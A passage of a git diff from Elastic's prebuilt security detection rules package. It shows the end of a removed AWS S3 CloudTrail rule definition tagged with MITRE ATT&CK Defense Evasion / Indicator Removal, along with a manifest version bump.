"aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.request_parameters", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "ff320c56-f8fa-11ee-8c44-f661ea17fbce", - "setup": "This rule requires S3 data events to be logged to CloudTrail. CloudTrail trails can be configured to log S3 data events in the AWS Management Console or using the AWS CLI.", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: Amazon S3", - "Use Case: Asset Visibility", - "Tactic: Defense Evasion", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1070", - "name": "Indicator Removal", - "reference": "https://attack.mitre.org/techniques/T1070/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 3 - }, - "id": "ff320c56-f8fa-11ee-8c44-f661ea17fbce_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/manifest.yml b/packages/security_detection_engine/manifest.yml index 44e907a4cef..4313848d685 100644 --- a/packages/security_detection_engine/manifest.yml +++ b/packages/security_detection_engine/manifest.yml @@ -21,4 +21,4 @@ source: license: Elastic-2.0 title: Prebuilt Security Detection Rules type: integration -version: 8.19.10 +version: 8.19.11-beta.1